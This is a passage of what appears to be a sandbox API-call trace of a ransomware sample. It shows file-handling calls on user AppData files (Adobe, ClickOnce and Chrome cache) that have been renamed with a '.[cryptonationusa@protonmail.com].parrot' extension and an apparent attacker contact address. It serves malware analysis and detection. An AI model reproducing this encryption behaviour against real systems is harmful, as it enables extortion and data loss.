(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.273] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x12fc8 [0094.273] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x130e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.273] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.273] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.274] CloseHandle (hObject=0x23c) returned 1 [0094.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.274] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x103c8 [0094.274] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x104e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.274] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.274] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.275] CloseHandle (hObject=0x23c) returned 1 [0094.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.276] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xb98 [0094.276] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcb0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.276] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.276] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.276] CloseHandle (hObject=0x23c) returned 1 [0094.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.277] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x5b8 [0094.277] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.277] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.277] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.278] CloseHandle (hObject=0x23c) returned 1 [0094.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.278] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x43f8 [0094.278] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4510, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.278] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.278] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.279] CloseHandle (hObject=0x23c) returned 1 [0094.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.280] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x3668 [0094.280] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3780, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.280] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.280] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.280] CloseHandle (hObject=0x23c) returned 1 [0094.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.281] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1008 [0094.281] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1120, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.281] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.281] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.282] CloseHandle (hObject=0x23c) returned 1 [0094.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.282] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x688 [0094.282] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.282] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.282] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.283] CloseHandle (hObject=0x23c) returned 1 [0094.283] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.284] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x43f8 [0094.284] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4510, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.284] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.284] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.284] CloseHandle (hObject=0x23c) returned 1 [0094.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.284] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x3668 [0094.284] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3780, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.284] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.284] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.285] CloseHandle (hObject=0x23c) returned 1 [0094.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.285] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x39d8 [0094.285] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3af0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.285] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.285] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.286] CloseHandle (hObject=0x23c) returned 1 [0094.286] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.286] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x2f58 [0094.286] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3070, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.286] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.286] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.287] CloseHandle (hObject=0x23c) returned 1 [0094.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.288] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x148 [0094.288] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x260, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.288] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.288] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.289] CloseHandle (hObject=0x23c) returned 1 [0094.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.289] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xb128 [0094.289] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb240, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.289] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.289] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.290] CloseHandle (hObject=0x23c) returned 1 [0094.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.291] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x42128 [0094.291] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42240, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.291] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.291] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.292] CloseHandle (hObject=0x23c) returned 1 [0094.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.292] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x2128 [0094.292] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2240, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.292] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.292] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.293] CloseHandle (hObject=0x23c) returned 1 [0094.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.293] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x402118 [0094.293] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x402230, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.293] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.293] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.294] CloseHandle (hObject=0x23c) returned 1 [0094.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.295] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x80298 [0094.295] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x803b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.295] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.295] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.296] CloseHandle (hObject=0x23c) returned 1 [0094.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.296] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x10 [0094.296] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.296] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0094.296] CloseHandle (hObject=0x23c) returned 1 [0094.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.297] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1c8 [0094.297] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.297] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.297] 